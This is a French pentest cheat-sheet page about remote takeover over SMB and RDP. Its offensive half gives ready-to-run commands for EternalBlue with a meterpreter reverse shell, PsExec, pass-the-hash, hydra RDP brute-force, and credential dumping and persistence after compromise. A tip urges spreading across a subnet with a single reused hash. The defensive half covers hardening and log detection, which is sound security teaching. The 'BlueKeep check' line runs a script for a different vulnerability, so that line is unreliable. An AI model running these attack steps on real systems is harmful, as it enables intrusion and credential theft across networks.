---
title: "Prise de contrôle à distance — SMB / RDP / LAN"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [smb, rdp, lateral-movement, eternalblue, psexec, pass-the-hash, meterpreter, netbios, pentest, blue-team]
difficulty: intermediate
status: stable
updated: "2026-05-14"
---
## Reconnaissance réseau

```bash
# Ping sweep
nmap -sn {{TARGET_SUBNET}}

# ARP scan (plus fiable en local)
netdiscover -r {{TARGET_SUBNET}}
arp-scan --localnet
```

```bash
# Scan rapide des ports SMB/RDP/VNC
nmap -p 135,139,445,3389,5900 {{TARGET_IP}}

# Scan complet + détection OS + scripts NSE
nmap -A -sV -p- {{TARGET_IP}}

# Scripts NSE SMB spécifiques
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 {{TARGET_IP}}
```

---

## Énumération SMB (ports 139/445)

```bash
# Énumération via enum4linux
enum4linux -a {{TARGET_IP}}

# Lister les partages accessibles (session anonyme)
smbclient -L //{{TARGET_IP}} -N

# CrackMapExec — énumération complète
crackmapexec smb {{TARGET_IP}}
crackmapexec smb {{TARGET_IP}} --shares
crackmapexec smb {{TARGET_IP}} --users
```

```bash
# Identifier la version SMB
nmap --script smb-protocols -p 445 {{TARGET_IP}}
# SMBv1 actif = potentiellement vulnérable à EternalBlue (MS17-010)
```

---

## Exploitation

### Option A — EternalBlue (MS17-010) si SMBv1 actif

```bash
# Vérification préalable
nmap --script smb-vuln-ms17-010 -p 445 {{TARGET_IP}}

# Exploitation via Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS {{TARGET_IP}}
set LHOST {{LHOST}}
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
```

### Option B — PsExec (credentials connus ou session null)

```bash
# Via Metasploit
use exploit/windows/smb/psexec
set RHOSTS {{TARGET_IP}}
set SMBUser {{SMB_USER}}
set SMBPass {{SMB_PASS}}
run

# Via Impacket (CLI)
impacket-psexec {{SMB_USER}}:{{SMB_PASS}}@{{TARGET_IP}}

# Via Sysinternals PsExec (Windows → Windows)
PsExec.exe \\{{TARGET_IP}} -u {{SMB_USER}} -p {{SMB_PASS}} cmd.exe
```

### Option C — Pass-the-Hash (hash NTLM récupéré)

```bash
# Avec CrackMapExec
crackmapexec smb {{TARGET_IP}} -u Administrator -H {{NTLM_HASH}}

# Avec Impacket
impacket-psexec -hashes :{{NTLM_HASH}} Administrator@{{TARGET_IP}}
```

### Option D — RDP (port 3389)

```bash
# Brute-force RDP
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://{{TARGET_IP}}

# Connexion directe (si credentials)
xfreerdp /u:{{RDP_USER}} /p:{{RDP_PASS}} /v:{{TARGET_IP}}

# BlueKeep check (CVE-2019-0708)
nmap --script rdp-vuln-ms12-020 -p 3389 {{TARGET_IP}}
```

---

## Post-exploitation (Meterpreter)

```bash
# Capture d'écran
screenshot

# Stream live écran
screenshare

# Shell interactif
shell

# Dump des credentials
hashdump
run post/windows/gather/credentials/credential_collector

# Élévation de privilèges
getsystem

# Persistance (démo lab uniquement)
run post/windows/manage/persistence
```

---

## Défense — Audit immédiat

```cmd
# Connexions actives + PID
netstat -ano

# Identifier un PID
tasklist /FI "PID eq {{PID}}"

# Connexions établies uniquement (filtrer le bruit)
netstat -ano | findstr "ESTABLISHED"

# Ports en écoute exposés sur toutes interfaces (0.0.0.0)
netstat -ano | findstr "0.0.0.0.*LISTENING"
```

---

## Défense — Hardening SMB

```powershell
# Désactiver SMBv1 (critique)
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force

# Désactiver SMBv2 si inutile
Set-SmbServerConfiguration -EnableSMB2Protocol $false -Force

# Vérifier l'état
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol

# Bloquer SMB via pare-feu Windows (ports 139 et 445)
netsh advfirewall firewall add rule name="Block SMB In" dir=in action=block protocol=TCP localport=139,445
```

---

## Défense — Hardening RDP

```powershell
# Désactiver RDP si non utilisé
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `
  -Name "fDenyTSConnections" -Value 1

# Activer NLA (Network Level Authentication)
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' `
  -Name "UserAuthentication" -Value 1

# Restreindre RDP à une IP spécifique via pare-feu
netsh advfirewall firewall add rule name="RDP Restrict" dir=in action=allow `
  protocol=TCP localport=3389 remoteip={{IP_AUTORISEE}}
```

---

## Désactiver NetBIOS

```powershell
# Via PowerShell (toutes les interfaces)
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration
foreach ($a in $adapters) { $a.SetTcpipNetbios(2) }
# 2 = Disable NetBIOS
```

---

## Profil réseau public (Wi-Fi école / café)

```powershell
# Forcer le profil réseau en "Public" (restreint le partage)
Get-NetConnectionProfile
Set-NetConnectionProfile -InterfaceIndex {{INTERFACE_ID}} -NetworkCategory Public
```

---

## Défense — Pare-feu

```powershell
# Bloquer toute connexion entrante par défaut (profil public)
netsh advfirewall set publicprofile firewallpolicy blockinbound,allowoutbound

# Vérifier les règles actives
netsh advfirewall firewall show rule name=all dir=in | findstr "Enabled"

# Supprimer une règle suspecte
netsh advfirewall firewall delete rule name="{{NOM_REGLE_SUSPECTE}}"
```

---

## Détection — Événements suspects

```powershell
# Connexions SMB entrantes (Event ID 5140 — partage réseau accédé)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 5140} | Select -First 20

# Tentatives de logon réseau (Event ID 4624 type 3 = réseau)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Select -First 20

# Logons échoués (Event ID 4625)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select -First 20

# Sessions et fichiers SMB ouverts sur la machine
Get-SmbShare
Get-SmbSession
Get-SmbOpenFile
```

---

## Ports à risque

| Port | Protocole | Risque | Action |
|------|-----------|--------|--------|
| 139  | NetBIOS   | Énumération, session null | Désactiver |
| 445  | SMB       | EternalBlue, PsExec, PTH | Désactiver ou filtrer |
| 3389 | RDP       | Brute-force, BlueKeep | Désactiver ou restreindre IP |
| 5900 | VNC       | Accès bureau distant | Désactiver si inutile |
| 135  | RPC       | Exploitation DCOM | Filtrer en entrée |

---

## Checklist défensive — réseau non maîtrisé

<Checklist
  storageKey="smb-rdp-lan-defense"
  items={[
    { id: "profile-public", label: "Profil réseau défini en Public (Wi-Fi)", critical: true },
    { id: "smb1-disabled", label: "SMBv1 désactivé (Set-SmbServerConfiguration)", critical: true },
    { id: "filesharing-off", label: "Partage de fichiers/imprimantes désactivé", critical: true },
    { id: "rdp-disabled", label: "RDP désactivé ou restreint à une IP de gestion", critical: true },
    { id: "netbios-disabled", label: "NetBIOS désactivé sur l'interface active" },
    { id: "firewall-active", label: "Pare-feu Windows actif, entrant bloqué par défaut" },
    { id: "devports-closed", label: "Ports dev (3000, 8080, etc.) fermés quand non utilisés" },
    { id: "no-0000-listen", label: "Aucun service inutile en écoute sur 0.0.0.0" }
  ]}
/>

<Warning>
EternalBlue (MS17-010) reste exploitable sur n'importe quel Windows non patché avec SMBv1 actif. La vérification `nmap --script smb-vuln-ms17-010` prend 5 secondes et doit être le premier réflexe sur tout réseau interne. SMBv1 est désactivé par défaut depuis Windows 10 1709 et Server 2019.
</Warning>

<Tip>
Pass-the-Hash est souvent plus rapide que le crack de password — si Responder ou hashdump donne un hash NTLM, tester directement avec CrackMapExec sur tout le subnet avant de lancer hashcat. Un seul compte admin local réutilisé sur plusieurs machines suffit pour du lateral movement en cascade.
</Tip>
